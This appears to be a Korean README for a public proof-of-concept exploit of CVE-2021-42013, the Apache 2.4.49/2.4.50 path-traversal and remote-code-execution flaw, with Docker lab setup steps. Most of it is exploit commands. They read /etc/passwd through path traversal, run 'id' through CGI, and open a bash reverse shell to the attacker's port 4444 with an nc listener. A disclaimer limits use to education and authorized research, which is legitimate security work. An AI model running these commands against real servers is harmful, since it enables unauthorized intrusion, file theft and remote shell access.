
Apache 2.4.49/2.4.50 경로 탐색 및 RCE 익스플로잇 (CVE-2021-42013). Docker 설정 및 경로 탐색 테스트, 명령 실행, 리버스 셸 획득 스크립트 포함.
⚠️ 교육 및 승인된 보안 연구 목적으로만 사용하세요
원본 PoC 작성자 Walnut Security Services Pvt. Ltd에게 깊은 감사를 드립니다.
공격자는 경로 탐색 공격을 사용하여 URL을 Alias와 유사한 지시문으로 구성된 디렉토리 외부의 파일에 매핑할 수 있습니다. 이러한 디렉토리 외부의 파일이 일반적인 기본 구성 'require all denied'로 보호되지 않는 경우, 이러한 요청이 성공할 수 있습니다. 또한 이러한 별칭 경로에 대해 CGI 스크립트가 활성화된 경우 원격 코드 실행이 가능할 수 있습니다. 이 문제는 Apache 2.4.49 및 Apache 2.4.50에만 영향을 미치며 이전 버전에는 영향을 미치지 않습니다.
먼저, 리포지토리를 클론합니다.
git clone https://github.com/asepsaepdin/CVE-2021-42013.git
디렉토리 변경
cd CVE-2021-42013
취약 컨테이너 빌드
docker build -t CVE-2021-42013 .
임시 컨테이너 실행
docker run --rm -it --name CVE-2021-42013 CVE-2021-42013
컨테이너 IP 주소 확인
docker inspect CVE-2021-42013 | grep "IPAddress"
스크립트에 실행 권한 부여
chmod +x cve-2021-42013.sh
경로 탐색을 테스트하고 확인하려면 유효한 디렉토리를 찾아야 합니다. 이 경우 /icons로 구성되어 있습니다. 따라서 다음 명령을 실행하면 경로 탐색 취약점이 트리거되고 /etc/passwd의 내용이 출력됩니다:
./cve-2021-42013.sh 172.17.0.3/icons /etc/passwd
원격 코드 실행을 테스트하고 확인하려면 CGI가 구성 및 활성화되어 있어야 합니다. 이 경우 활성화되어 있습니다. 따라서 다음 명령을 실행하면 원격 코드 실행이 트리거되고 id 명령의 출력이 출력됩니다:
./cve-2021-42013.sh 172.17.0.3 /bin/bash id
공격자 관점에서 원격 코드 실행은 대화형 셸에 접근하기 위해 중요합니다. 따라서 다음 명령을 실행하면 bash 기반의 TCP를 통한 일반적인 리버스 셸이 공격자 시스템의 4444/tcp 포트로 트리거됩니다:
./cve-2021-42013.sh 172.17.0.4 /bin/bash 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'
nc -nlvp 4444